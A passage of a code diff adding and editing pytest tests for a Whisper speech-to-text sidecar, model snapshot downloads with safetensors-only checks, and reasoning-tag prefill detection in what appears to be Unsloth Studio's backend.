+        backends = SimpleNamespace(mps = SimpleNamespace(is_available = lambda: True)),
+    )
+    monkeypatch.setitem(sys.modules, "torch", fake_torch)
+    monkeypatch.setattr(stt_sidecar_module, "_training_active", lambda: False)
+
+    assert stt_sidecar_module._pick_device() == ("mps", "float32")
+
+
+def test_new_stt_load_uses_cpu_without_accelerators(monkeypatch):
+    fake_torch = SimpleNamespace(
+        float16 = "float16",
+        float32 = "float32",
+        cuda = SimpleNamespace(is_available = lambda: False),
+        backends = SimpleNamespace(mps = SimpleNamespace(is_available = lambda: False)),
+    )
+    monkeypatch.setitem(sys.modules, "torch", fake_torch)
+    monkeypatch.setattr(stt_sidecar_module, "_training_active", lambda: False)
+
+    assert stt_sidecar_module._pick_device() == ("cpu", "float32")
+
+
+def test_accelerator_load_failure_retries_on_cpu(monkeypatch):
+    fake_torch = _install_fake_torch(monkeypatch)
+    calls = []
+    sidecar = WhisperSttSidecar(keep_alive_seconds = 0)
+    monkeypatch.setattr(stt_sidecar_module, "ensure_stt_available", lambda: None)
+
+    def build(_repo, device, dtype, _cancel_event):
+        calls.append((device, dtype))
+        if device == "cuda":
+            raise RuntimeError("accelerator allocation failed")
+        return object(), object()
+
+    monkeypatch.setattr(stt_sidecar_module, "_pick_device", lambda: ("cuda", "float16"))
+    monkeypatch.setattr(sidecar, "_build_model", build)
+
+    sidecar.load("small")
+
+    assert calls == [("cuda", "float16"), ("cpu", fake_torch.float32)]
+    assert sidecar.device == "cpu"
+
+
+def test_pending_load_can_be_cancelled_without_waiting_for_model_lock(monkeypatch):
+    _install_fake_torch(monkeypatch)
+    sidecar = WhisperSttSidecar(keep_alive_seconds = 0)
+    build_started = threading.Event()
+    release_build = threading.Event()
+    errors = []
+
+    def build(_repo, _device, _dtype, _cancel_event):
+        build_started.set()
+        assert release_build.wait(timeout = 2)
+        return object(), object()
+
+    def run_load():
+        try:
+            sidecar.load("small")
+        except Exception as exc:
+            errors.append(exc)
+
+    monkeypatch.setattr(stt_sidecar_module, "ensure_stt_available", lambda: None)
+    monkeypatch.setattr(stt_sidecar_module, "_pick_device", lambda: ("cpu", "float32"))
+    monkeypatch.setattr(sidecar, "_build_model", build)
+
+    load_thread = threading.Thread(target = run_load)
+    load_thread.start()
+    assert build_started.wait(timeout = 2)
+
+    result = []
+    cancel_thread = threading.Thread(target = lambda: result.append(sidecar.cancel_pending_load()))
+    cancel_thread.start()
+    cancel_thread.join(timeout = 2)
+
+    assert not cancel_thread.is_alive()
+    assert result == [True]
+    assert load_thread.is_alive()
+
+    release_build.set()
+    load_thread.join(timeout = 2)
+
+    assert not load_thread.is_alive()
+    assert len(errors) == 1
+    assert isinstance(errors[0], SttLoadCancelledError)
+    assert sidecar.loaded_model is None
+    assert sidecar.is_loading() is False
+
+
+def _wav_bytes(sample_count: int, sample_rate: int = 16000) -> bytes:
+    output = io.BytesIO()
+    with wave.open(output, "wb") as wav:
+        wav.setnchannels(1)
+        wav.setsampwidth(2)
+        wav.setframerate(sample_rate)
+        wav.writeframes(np.zeros(sample_count, dtype = np.int16).tobytes())
+    return output.getvalue()
+
+
+def test_bounded_decoder_returns_16khz_float_pcm():
+    pytest.importorskip("av")
+
+    decoded = _REAL_DECODE_AUDIO_BOUNDED(_wav_bytes(1600))
+
+    assert decoded.dtype == np.float32
+    assert decoded.shape == (1600,)
+
+
+def test_bounded_decoder_rejects_audio_as_soon_as_sample_cap_is_crossed(monkeypatch):
+    pytest.importorskip("av")
+    monkeypatch.setattr(stt_sidecar_module, "_MAX_AUDIO_SECONDS", 1)
+
+    with pytest.raises(SttAudioTooLongError, match = "Audio must"):
+        _REAL_DECODE_AUDIO_BOUNDED(_wav_bytes(16001))
+
+
+def test_bounded_decoder_resamples_stereo_48khz_to_mono_16khz():
+    pytest.importorskip("av")
+    output = io.BytesIO()
+    frames = np.zeros((4800, 2), dtype = np.int16)
+    with wave.open(output, "wb") as wav:
+        wav.setnchannels(2)
+        wav.setsampwidth(2)
+        wav.setframerate(48000)
+        wav.writeframes(frames.tobytes())
+
+    decoded = _REAL_DECODE_AUDIO_BOUNDED(output.getvalue())
+
+    assert decoded.dtype == np.float32
+    assert 1590 <= len(decoded) <= 1610
+
+
+@pytest.mark.parametrize("audio", [b"", b"not audio", b"RIFF\x00\x00"])
+def test_bounded_decoder_rejects_malformed_audio(audio):
+    pytest.importorskip("av")
+
+    with pytest.raises(SttAudioDecodeError, match = "Could not decode"):
+        _REAL_DECODE_AUDIO_BOUNDED(audio)
+
+
+def test_bounded_decoder_rejects_container_without_audio_stream(monkeypatch):
+    class FakeFFmpegError(Exception):
+        pass
+
+    class FakeResampler:
+        def __init__(self, **_kwargs):
+            pass
+
+    class FakeFifo:
+        samples = 0
+
+    class FakeContainer:
+        streams = SimpleNamespace(audio = [])
+
+        def __enter__(self):
+            return self
+
+        def __exit__(self, *_args):
+            return False
+
+    fake_av = SimpleNamespace(
+        audio = SimpleNamespace(
+            resampler = SimpleNamespace(AudioResampler = FakeResampler),
+            fifo = SimpleNamespace(AudioFifo = FakeFifo),
+        ),
+        open = lambda *_args, **_kwargs: FakeContainer(),
+    )
+    monkeypatch.setitem(sys.modules, "av", fake_av)
+    monkeypatch.setitem(
+        sys.modules,
+        "av.error",
+        SimpleNamespace(
+            FFmpegError = FakeFFmpegError,
+            InvalidDataError = FakeFFmpegError,
+        ),
+    )
+
+    with pytest.raises(SttAudioDecodeError, match = "Could not decode"):
+        _REAL_DECODE_AUDIO_BOUNDED(b"video-only")
+
+
+def test_unload_releases_model_and_device():
+    sidecar = WhisperSttSidecar()
+    sidecar._engine = object()
+    sidecar._model_id = "small"
+    sidecar._device = "cpu"
+
+    sidecar.unload()
+
+    assert sidecar.loaded_model is None
+    assert sidecar.device is None
+
+
+# ---------------------------------------------------------------------------
+# Snapshot download tracking
+# ---------------------------------------------------------------------------
+
+
+def _write_complete_snapshot(snapshot: Path, *, model_type: str = "whisper") -> None:
+    snapshot.mkdir(parents = True, exist_ok = True)
+    (snapshot / "config.json").write_text(json.dumps({"model_type": model_type}))
+    (snapshot / "preprocessor_config.json").write_text("{}")
+    (snapshot / "tokenizer.json").write_text("{}")
+    (snapshot / "model.safetensors").write_bytes(b"weights")
+
+
+def _sibling(name: str, size: int, key: str):
+    return SimpleNamespace(rfilename = name, size = size, blob_id = key, lfs = None)
+
+
+def test_sha_snapshot_without_main_ref_survives_restart_and_cache_relocation(monkeypatch, tmp_path):
+    repo = "openai/whisper-tiny.en"
+    revision = "c" * 40
+    studio_home = tmp_path / "studio"
+    first_cache = tmp_path / "first-hub"
+    second_cache = tmp_path / "second-hub"
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(studio_home))
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    monkeypatch.setattr(stt_sidecar_module, "_snapshot_is_complete", _REAL_SNAPSHOT_IS_COMPLETE)
+    monkeypatch.setattr(
+        stt_sidecar_module,
+        "_find_complete_cached_snapshot",
+        _REAL_FIND_COMPLETE_CACHED_SNAPSHOT,
+    )
+
+    first = first_cache / "models--openai--whisper-tiny.en" / "snapshots" / revision
+    _write_complete_snapshot(first)
+    monkeypatch.setenv("HF_HUB_CACHE", str(first_cache))
+    stt_sidecar_module._write_revision_record(repo, revision)
+    assert stt_sidecar_module._find_complete_cached_snapshot(repo) == first.resolve()
+
+    second = second_cache / "models--openai--whisper-tiny.en" / "snapshots" / revision
+    _write_complete_snapshot(second)
+    monkeypatch.setenv("HF_HUB_CACHE", str(second_cache))
+    assert stt_sidecar_module._find_complete_cached_snapshot(repo) == second.resolve()
+
+
+def test_corrupt_or_escaping_revision_record_is_ignored(monkeypatch, tmp_path):
+    repo = "openai/whisper-tiny.en"
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path / "studio"))
+    monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path / "hub"))
+    monkeypatch.setattr(
+        stt_sidecar_module,
+        "_find_complete_cached_snapshot",
+        _REAL_FIND_COMPLETE_CACHED_SNAPSHOT,
+    )
+    record = stt_sidecar_module._revision_record_path(repo)
+    record.parent.mkdir(parents = True)
+    record.write_text(json.dumps({"version": 1, "repo": repo, "revision": "../../outside"}))
+    assert stt_sidecar_module._find_complete_cached_snapshot(repo) is None
+
+    outside = tmp_path / "outside"
+    _write_complete_snapshot(outside)
+    snapshots = tmp_path / "hub" / "models--openai--whisper-tiny.en" / "snapshots"
+    snapshots.mkdir(parents = True)
+    (snapshots / ("d" * 40)).symlink_to(outside, target_is_directory = True)
+    assert stt_sidecar_module._find_complete_cached_snapshot(repo) is None
+
+
+def test_adapter_only_snapshot_is_not_complete(tmp_path):
+    (tmp_path / "config.json").write_text('{"model_type": "whisper"}')
+    (tmp_path / "preprocessor_config.json").write_text("{}")
+    (tmp_path / "tokenizer.json").write_text("{}")
+    (tmp_path / "adapter_model.safetensors").write_bytes(b"adapter")
+
+    assert _REAL_SNAPSHOT_IS_COMPLETE(tmp_path) is False
+
+
+def test_snapshot_selection_prefers_safetensors_and_excludes_unrelated_files():
+    info = SimpleNamespace(
+        siblings = [
+            _sibling("config.json", 10, "config"),
+            _sibling("preprocessor_config.json", 20, "preprocessor"),
+            _sibling("tokenizer.json", 30, "tokenizer"),
+            _sibling("model.safetensors", 100, "safe"),
+            _sibling("pytorch_model.bin", 110, "torch"),
+            _sibling("README.md", 1000, "readme"),
+        ]
+    )
+
+    selected = stt_sidecar_module._select_snapshot_files(
+        info, lambda _name: pytest.fail("unsharded selection must not load an index")
+    )
+
+    assert {item.path for item in selected} == {
+        "config.json",
+        "preprocessor_config.json",
+        "tokenizer.json",
+        "model.safetensors",
+    }
+    assert sum(item.size for item in selected) == 160
+
+
+def test_snapshot_selection_includes_every_indexed_shard():
+    info = SimpleNamespace(
+        siblings = [
+            _sibling("config.json", 10, "config"),
+            _sibling("model.safetensors.index.json", 5, "index"),
+            _sibling("model-00001-of-00002.safetensors", 50, "shard1"),
+            _sibling("model-00002-of-00002.safetensors", 60, "shard2"),
+            _sibling("pytorch_model.bin", 120, "torch"),
+        ]
+    )
+
+    selected = stt_sidecar_module._select_snapshot_files(
+        info,
+        lambda name: {
+            "weight_map": {
+                "a": "model-00001-of-00002.safetensors",
+                "b": "model-00002-of-00002.safetensors",
+            }
+        },
+    )
+
+    assert {item.path for item in selected} == {
+        "config.json",
+        "model.safetensors.index.json",
+        "model-00001-of-00002.safetensors",
+        "model-00002-of-00002.safetensors",
+    }
+
+
+def test_snapshot_selection_rejects_pickle_only_weights():
+    # A custom repo shipping only pytorch_model.bin (pickle) must fail closed:
+    # selecting it would download a checkpoint that runs code at load time.
+    info = SimpleNamespace(
+        siblings = [
+            _sibling("config.json", 10, "config"),
+            _sibling("preprocessor_config.json", 20, "preprocessor"),
+            _sibling("tokenizer.json", 30, "tokenizer"),
+            _sibling("pytorch_model.bin", 110, "torch"),
+        ]
+    )
+
+    with pytest.raises(SttModelCompatibilityError, match = "safetensors"):
+        stt_sidecar_module._select_snapshot_files(
+            info, lambda _name: pytest.fail("pickle weights must not be selected")
+        )
+
+
+def test_snapshot_selection_rejects_safe_index_pointing_at_pickle_shards():
+    # A safetensors index can name .bin shards; Transformers dispatches shard
+    # loading by extension, so those shards would still pickle-load. The index
+    # is attacker-controlled, so a non-safetensors shard must fail closed.
+    info = SimpleNamespace(
+        siblings = [
+            _sibling("config.json", 10, "config"),
+            _sibling("model.safetensors.index.json", 5, "index"),
+            _sibling("pytorch_model-00001-of-00001.bin", 90, "shard"),
+        ]
+    )
+
+    with pytest.raises(SttModelCompatibilityError, match = "non-safetensors shards"):
+        stt_sidecar_module._select_snapshot_files(
+            info,
+            lambda _name: {"weight_map": {"a": "pytorch_model-00001-of-00001.bin"}},
+        )
+
+
+def test_progress_counts_only_selected_blobs_and_caps_incomplete_files(monkeypatch, tmp_path):
+    monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path / "hub"))
+    blobs = tmp_path / "hub" / "models--owner--whisper" / "blobs"
+    blobs.mkdir(parents = True)
+    (blobs / "one").write_bytes(b"x" * 10)
+    (blobs / "two.incomplete").write_bytes(b"x" * 30)
+    (blobs / "unrelated").write_bytes(b"x" * 1000)
+    state = stt_sidecar_module._SnapshotDownloadState()
+    state._repo = "owner/whisper"
+    state._selected_files = (
+        stt_sidecar_module._SelectedHubFile("config.json", 10, "one"),
+        stt_sidecar_module._SelectedHubFile("model.safetensors", 20, "two"),
+    )
+    state._total_bytes = 30
+    state._complete = True
+
+    status = state.status()
+
+    assert status["bytes_total"] == 30
+    assert status["bytes_done"] == 30
+
+
+def test_download_metadata_and_snapshot_use_the_same_revision(monkeypatch, tmp_path):
+    revision = "e" * 40
+    calls = []
+    siblings = [
+        _sibling("config.json", 10, "config"),
+        _sibling("preprocessor_config.json", 20, "preprocessor"),
+        _sibling("tokenizer.json", 30, "tokenizer"),
+        _sibling("model.safetensors", 100, "safe"),
+        _sibling("pytorch_model.bin", 110, "torch"),
+    ]
+
+    class FakeApi:
+        def __init__(self, token):
+            pass
+
+        def model_info(self, repo, **kwargs):
+            calls.append(("info", repo, kwargs))
+            return SimpleNamespace(sha = revision, siblings = siblings)
+
+    def fake_snapshot_download(**kwargs):
+        calls.append(("snapshot", kwargs))
+        return str(tmp_path)
+
+    monkeypatch.setattr("huggingface_hub.HfApi", FakeApi)
+    monkeypatch.setattr("huggingface_hub.snapshot_download", fake_snapshot_download)
+    monkeypatch.setattr(
+        "huggingface_hub.hf_hub_download",
+        lambda **_kwargs: pytest.fail("unsharded selection must not load an index"),
+    )
+    monkeypatch.setattr(stt_sidecar_module, "_snapshot_is_complete", lambda _path: True)
+    monkeypatch.setattr(stt_sidecar_module, "_write_revision_record", lambda *_args: None)
+    state = stt_sidecar_module._SnapshotDownloadState()
+
+    state._run("owner/whisper", None, revision)
+
+    assert calls[0] == (
+        "info",
+        "owner/whisper",
+        {"revision": revision, "files_metadata": True, "timeout": 30},
+    )
+    assert calls[1][0] == "snapshot"
+    assert calls[1][1]["revision"] == revision
+    assert "model.safetensors" in calls[1][1]["allow_patterns"]
+    assert "pytorch_model.bin" not in calls[1][1]["allow_patterns"]
+
+
+def test_download_status_is_idle_before_any_download():
+    state = stt_sidecar_module._SnapshotDownloadState()
+
+    status = state.status()
+
+    assert status == {
+        "downloading": False,
+        "model": None,
+        "error": None,
+        "bytes_total": None,
+        "bytes_done": None,
+    }
+
+
+def test_download_rejects_a_second_model_while_one_is_in_flight(monkeypatch):
+    state = stt_sidecar_module._SnapshotDownloadState()
+    release = threading.Event()
+    monkeypatch.setattr(
+        state,
+        "_run",
+        lambda repo, token, revision: release.wait(timeout = 5),
+    )
+
+    state.start("small")
+    try:
+        # Re-requesting the in-flight model is a no-op, not an error.
+        state.start("small")
+        with pytest.raises(SttModelIdError, match = "still"):
+            state.start("tiny")
+        assert state.status()["downloading"] is True
+        assert state.status()["model"] == "small"
+    finally:
+        release.set()
+
+
+def test_download_failure_is_reported_in_status(monkeypatch):
+    state = stt_sidecar_module._SnapshotDownloadState()
+    # Mask huggingface_hub so the import inside _run fails fast.
+    monkeypatch.setitem(sys.modules, "huggingface_hub", None)
+
+    state.start("small")
+    state._thread.join(timeout = 5)
+
+    status = state.status()
+    assert status["downloading"] is False
+    assert "Download failed" in (status["error"] or "")
+
+
+def test_is_model_downloaded_is_false_for_a_cache_miss(monkeypatch):
+    monkeypatch.setattr(
+        stt_sidecar_module,
+        "_find_complete_cached_snapshot",
+        _REAL_FIND_COMPLETE_CACHED_SNAPSHOT,
+    )
+    monkeypatch.setenv("HF_HUB_CACHE", "/nonexistent/stt-test-cache")
+
+    assert stt_sidecar_module.is_model_downloaded("small") is False
+
+
+def test_sharded_snapshot_with_missing_shard_is_not_downloaded(monkeypatch, tmp_path):
+    import json
+
+    monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path / "hub"))
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path / "studio"))
+    monkeypatch.setattr(
+        stt_sidecar_module,
+        "_find_complete_cached_snapshot",
+        _REAL_FIND_COMPLETE_CACHED_SNAPSHOT,
+    )
+    monkeypatch.setattr(stt_sidecar_module, "_snapshot_is_complete", _REAL_SNAPSHOT_IS_COMPLETE)
+    snap = tmp_path / "hub" / "models--unsloth--whisper-small" / "snapshots" / ("a" * 40)
+    snap.mkdir(parents = True)
+    (snap / "config.json").write_bytes(b"{}")
+    (snap / "preprocessor_config.json").write_bytes(b"{}")
+    (snap / "tokenizer.json").write_bytes(b"{}")
+    index = {
+        "weight_map": {
+            "a": "model-00001-of-00002.safetensors",
+            "b": "model-00002-of-00002.safetensors",
+        }
+    }
+    (snap / "model.safetensors.index.json").write_text(json.dumps(index))
+    (snap / "model-00001-of-00002.safetensors").write_bytes(b"w" * 8)
+
+    assert stt_sidecar_module.is_model_downloaded("small") is False
+
+    # Completing the second shard flips the verdict.
+    (snap / "model-00002-of-00002.safetensors").write_bytes(b"w" * 8)
+    assert stt_sidecar_module.is_model_downloaded("small") is True
+
+
+@pytest.mark.parametrize("model_id", ["small", "openai/whisper-medium"])
+def test_preflight_rejects_partial_snapshot(monkeypatch, tmp_path, model_id):
+    # A resolvable snapshot with metadata but no weights must fail preflight,
+    # not survive until load() after the audio has already been decoded.
+    monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path / "hub"))
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path / "studio"))
+    monkeypatch.setattr(
+        stt_sidecar_module,
+        "_find_complete_cached_snapshot",
+        _REAL_FIND_COMPLETE_CACHED_SNAPSHOT,
+    )
+    monkeypatch.setattr(stt_sidecar_module, "_snapshot_is_complete", _REAL_SNAPSHOT_IS_COMPLETE)
+    repo = STT_MODELS.get(model_id, model_id)
+    snapshot = tmp_path / "hub" / f"models--{repo.replace('/', '--')}" / "snapshots" / ("b" * 40)
+    snapshot.mkdir(parents = True)
+    (snapshot / "config.json").write_text('{"model_type": "whisper"}')
+
+    with pytest.raises(SttModelNotDownloadedError, match = "not downloaded"):
+        WhisperSttSidecar(keep_alive_seconds = 0)._ensure_model_downloaded(model_id)
+
+    # Completing the snapshot clears the preflight.
+    (snapshot / "preprocessor_config.json").write_text("{}")
+    (snapshot / "tokenizer.json").write_text("{}")
+    (snapshot / "model.safetensors").write_bytes(b"w" * 8)
+    WhisperSttSidecar(keep_alive_seconds = 0)._ensure_model_downloaded(model_id)
+
+
+def test_cpu_retry_releases_failed_accelerator_load(monkeypatch):
+    _install_fake_torch(monkeypatch)
+    monkeypatch.setattr(stt_sidecar_module, "_pick_device", lambda: ("mps", "float16"))
+
+    class Marker:
+        pass
+
+    seen = {}
+
+    def fake_build(self, repo, device, dtype, cancel_event):
+        if device != "cpu":
+            # The frame local stands in for a partly loaded accelerator model
+            # kept alive only through the raised traceback.
+            marker = Marker()
+            seen["ref"] = weakref.ref(marker)
+            raise RuntimeError("accelerator load failed")
+        gc.collect()
+        seen["alive_during_retry"] = seen["ref"]() is not None
+        return (_FakeModel(), object())
+
+    monkeypatch.setattr(WhisperSttSidecar, "_build_model", fake_build)
+    sidecar = WhisperSttSidecar(keep_alive_seconds = 0)
+    sidecar.load("small")
+
+    # The failed attempt must be collectable before the CPU model loads, or
+    # its accelerator memory stays stranded for the whole retry.
+    assert seen["alive_during_retry"] is False
+    assert sidecar.device == "cpu"
diff --git a/studio/backend/tests/test_studio_api.py b/studio/backend/tests/test_studio_api.py
index 928b636e3e..087c00b648 100644
--- a/studio/backend/tests/test_studio_api.py
+++ b/studio/backend/tests/test_studio_api.py
@@ -11,7 +11,7 @@ the CLI's ``--help`` output:
     1. curl -- basic chat completions (non-streaming)
     2. curl -- streaming chat completions
     3. Python OpenAI SDK -- streaming completions
-    4. curl -- Studio server-side tools (enable_tools=true)
+    4. curl -- Unsloth server-side tools (enable_tools=true)
     5. curl -- Standard OpenAI function calling (non-streaming)
     6. curl -- Standard OpenAI function calling (streaming)
     7. curl -- Standard OpenAI function calling (multi-turn tool loop)
@@ -31,7 +31,7 @@ Usage:
     python tests/test_studio_api.py
     python tests/test_studio_api.py --model unsloth/... --gguf-variant ...
 
-    # Pytest mode, external server — start a Studio server yourself,
+    # Pytest mode, external server — start an Unsloth server yourself,
     # then point pytest at it. Fastest iteration loop.
     unsloth studio run --model unsloth/Qwen3-1.7B-GGUF --gguf-variant UD-Q4_K_XL &
     export UNSLOTH_E2E_BASE_URL=http://127.0.0.1:8080
@@ -341,7 +341,7 @@ def _final_finish_reason(chunks: list[dict]) -> str | None:
 def test_openai_tools_nonstream(base_url: str, api_key: str):
     """Standard OpenAI function calling, non-streaming, tool_choice='required'.
 
-    Regression: before the fix, Studio stripped `tools` and the model
+    Regression: before the fix, Unsloth stripped `tools` and the model
     returned plain text with finish_reason='stop'. After the fix,
     llama-server's response is forwarded verbatim so the client sees
     finish_reason='tool_calls' with a structured tool_calls array and
diff --git a/studio/backend/tests/test_tensor_parallel.py b/studio/backend/tests/test_tensor_parallel.py
index 0d71b89d87..00c7aeac69 100644
--- a/studio/backend/tests/test_tensor_parallel.py
+++ b/studio/backend/tests/test_tensor_parallel.py
@@ -262,9 +262,12 @@ def test_proportional_tensor_split_is_emitted_in_tensor_mode():
     src = _load_model_source()
     assert '"--tensor-split"' in src
     gate = src.find("if tensor_parallel:")
-    ts = src.find('"--tensor-split"')
+    # Find the TP block's emission (after the gate); manual mode emits its own
+    # --tensor-split earlier in the source from the user's per-GPU shares.
+    ts = src.find('"--tensor-split"', gate)
     nxt_else = src.find("self._tensor_parallel = False")
     assert 0 <= gate < ts < nxt_else, "--tensor-split must be emitted under `if tensor_parallel:`"
+    assert "tp_tensor_split" in src[gate:nxt_else]
 
 
 def test_mtp_decode_probe_wired_under_tensor_parallel():
@@ -420,7 +423,7 @@ def test_runtime_recovery_fires_for_user_env_mtp(monkeypatch):
     # MTP driven by user extra_args / LLAMA_ARG_SPEC_TYPE leaves _speculative_type
     # unset, but the launch flag still gates recovery on (pass-through MTP).
     b = _recovery_backend()
-    b._speculative_type = None  # Studio stepped back; user/env owns the spec
+    b._speculative_type = None  # Unsloth stepped back; user/env owns the spec
     done = threading.Event()
     captured = {}
 
diff --git a/studio/backend/tests/test_think_prefill_reemit.py b/studio/backend/tests/test_think_prefill_reemit.py
new file mode 100644
index 0000000000..346399c3b2
--- /dev/null
+++ b/studio/backend/tests/test_think_prefill_reemit.py
@@ -0,0 +1,262 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""
+Unit tests for local reasoning-stream helpers.
+
+Reasoning templates (Qwen3.6-style) end the generation prompt with an open
+``<think>\\n`` so the model starts reasoning immediately. skip_prompt
+streaming drops that opening tag, so the safetensors/MLX paths must re-emit
+it for the frontend's <think> parser to render a thinking block.
+"""
+
+import os
+import sys
+
+_backend = os.path.join(os.path.dirname(__file__), "..")
+sys.path.insert(0, _backend)
+
+from core.inference.chat_template_helpers import (
+    ReasoningChannelNormalizer,
+    detect_reasoning_channel_markers,
+    detect_reasoning_channel_markers_from_model_info,
+    detect_think_prefill,
+    render_with_native_template_fallback,
+)
+
+
+QWEN_PROMPT = "<|im_start|>user\nHi!<|im_end|>\n<|im_start|>assistant\n"
+
+
+def test_open_think_prefill_reemitted():
+    """Qwen3.6-style enable_thinking=True prompt tail: <think>\\n."""
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\n") == "<think>\n"
+
+
+def test_bare_open_think_prefill_reemitted():
+    """Prefill without trailing newline still detected."""
+    assert detect_think_prefill(QWEN_PROMPT + "<think>") == "<think>"
+
+
+def test_closed_think_prefill_not_reemitted():
+    """enable_thinking=False prefills a closed, empty think block."""
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\n\n</think>\n\n") == ""
+
+
+def test_prompt_without_think_untouched():
+    """Non-reasoning templates produce no prefix."""
+    assert detect_think_prefill(QWEN_PROMPT) == ""
+
+
+def test_historical_think_blocks_ignored():
+    """A closed think block in a prior assistant turn (preserve_thinking)
+    must not trigger re-emission when the generation tail is plain."""
+    prompt = (
+        "<|im_start|>user\nHi!<|im_end|>\n"
+        "<|im_start|>assistant\n<think>\nprior reasoning\n</think>\n\nHello!<|im_end|>\n"
+        "<|im_start|>user\nAgain?<|im_end|>\n<|im_start|>assistant\n"
+    )
+    assert detect_think_prefill(prompt) == ""
+
+
+def test_historical_blocks_plus_open_prefill():
+    """Prior closed blocks plus a fresh open prefill: only the tail matters."""
+    prompt = (
+        "<|im_start|>assistant\n<think>\nprior\n</think>\n\nHello!<|im_end|>\n"
+        "<|im_start|>assistant\n<think>\n"
+    )
+    assert detect_think_prefill(prompt) == "<think>\n"
+
+
+def test_content_after_open_tag_not_reemitted():
+    """If non-whitespace follows the tag it is not a plain prefill."""
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\npartial reasoning") == ""
+
+
+def test_empty_and_none_prompts():
+    assert detect_think_prefill("") == ""
+    assert detect_think_prefill(None) == ""
+
+
+def test_guard_suppresses_when_close_tag_is_special():
+    """If </think> is a special token, skip_special_tokens strips the model's
+    close tag, so re-emitting the open would leave an unclosed block. Guard off."""
+    specials = ["<|im_end|>", "<think>", "</think>"]
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\n", specials) == ""
+
+
+def test_guard_emits_when_think_not_special():
+    specials = ["<|im_end|>", "<|endoftext|>"]
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\n", specials) == "<think>\n"
+
+
+def test_guard_default_and_empty_keep_emitting():
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\n", None) == "<think>\n"
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\n", []) == "<think>\n"
+
+
+def test_gemma_channel_detection_uses_active_template_not_token_metadata():
+    class TemplateTokenizer:
+        chat_template = {"default": "...<|channel>thought\\n{{ eoc_token }}"}
+
+    class NamedTemplateTokenizer:
+        chat_template = {
+            "default": "plain assistant template",
+            "tool_use": "...<|channel>thought\\n{{ eoc_token }}",
+        }
+
+    class TokenMetadataOnly:
+        chat_template = None
+        soc_token = "<|channel>"
+        eoc_token = "<channel|>"
+
+    class NamedTemplateProcessor:
+        chat_template = {
+            "default": "plain processor default",
+            "tool_use": "<|channel>thought\nprocessor tool template<channel|>",
+        }
+        tokenizer = TokenMetadataOnly()
+
+        def apply_chat_template(self, *_args, **_kwargs):
+            raise NotImplementedError
+
+    expected = ("<|channel>thought", "<channel|>")
+    assert detect_reasoning_channel_markers(TemplateTokenizer()) == expected
+    assert detect_reasoning_channel_markers(NamedTemplateTokenizer()) is None
+    assert (
+        detect_reasoning_channel_markers(
+            NamedTemplateTokenizer(), tools = [{"function": {"name": "web_search"}}]
+        )
+        == expected
+    )
+    assert detect_reasoning_channel_markers(NamedTemplateTokenizer(), tools = []) is None
+    assert (
+        detect_reasoning_channel_markers(
+            NamedTemplateProcessor(), tools = [{"function": {"name": "web_search"}}]
+        )
+        is None
+    )
+    assert detect_reasoning_channel_markers(TokenMetadataOnly()) is None
+
+
+def test_gemma_channel_detection_tries_no_argument_getter_fallback():
+    class FallbackTokenizer:
+        chat_template = "plain fallback template"
+
+        def get_chat_template(self, **kwargs):
+            if kwargs:
+                raise ValueError("tools are not supported")
+            return "...<|channel>thought\n<channel|>"
+
+    assert detect_reasoning_channel_markers(
+        FallbackTokenizer(), tools = [{"function": {"name": "web_search"}}]
+    ) == ("<|channel>thought", "<channel|>")
+
+
+def test_native_template_fallback_returns_selected_reasoning_metadata():
+    from types import SimpleNamespace
+
+    messages = [{"role": "user", "content": "hi"}]
+    tools = [{"type": "function", "function": {"name": "web_search"}}]
+
+    def render(tokenizer, msgs, *, tools, **_kw):
+        body = "".join(message["content"] for message in msgs)
+        suffix = "|TOOLS" if tools else ""
+        return body + suffix if tokenizer.chat_template == "NATIVE <|channel>thought\n" else body
+
+    result = render_with_native_template_fallback(
+        formatted_prompt = "hi",
+        tokenizer = SimpleNamespace(chat_template = "OVERRIDE"),
+        model_info = {
+            "native_chat_template": "NATIVE <|channel>thought\n",
+            "tokenizer": SimpleNamespace(chat_template = "OVERRIDE"),
+        },
+        active_model_name = "gemma-test",
+        messages = messages,
+        tools = tools,
+        apply_fn = render,
+        return_metadata = True,
+    )
+
+    assert result.prompt == "hi|TOOLS"
+    assert result.reasoning_channel_markers == ("<|channel>thought", "<channel|>")
+
+
+def test_cached_native_template_metadata_recovers_reasoning_markers_without_tools():
+    from types import SimpleNamespace
+
+    model_info = {"chat_template_info": {"template": "native <|channel>thought\n<channel|>"}}
+
+    assert detect_reasoning_channel_markers_from_model_info(
+        SimpleNamespace(chat_template = "override has no native markers"),
+        model_info,
+        tools = None,
+    ) == ("<|channel>thought", "<channel|>")
+    result = render_with_native_template_fallback(
+        formatted_prompt = "prompt from override",
+        tokenizer = SimpleNamespace(chat_template = "override has no native markers"),
+        model_info = model_info,
+        active_model_name = "gemma-test",
+        messages = [{"role": "user", "content": "hi"}],
+        tools = None,
+        return_metadata = True,
+    )
+    assert result.prompt == "prompt from override"
+    assert result.reasoning_channel_markers == ("<|channel>thought", "<channel|>")
+
+
+def test_cached_native_markers_do_not_describe_live_tool_template():
+    from types import SimpleNamespace
+
+    tools = [{"type": "function", "function": {"name": "web_search"}}]
+
+    class LiveTokenizer:
+        chat_template = "live tool template without native markers"
+
+    def render(_tokenizer, _messages, *, tools, **_kwargs):
+        return "prompt with tools" if tools else "prompt without tools"
+
+    result = render_with_native_template_fallback(
+        formatted_prompt = "prompt with tools",
+        tokenizer = LiveTokenizer(),
+        model_info = {
+            "chat_template_info": {"template": "native <|channel>thought\n<channel|>"},
+            "tokenizer": SimpleNamespace(),
+        },
+        active_model_name = "gemma-test",
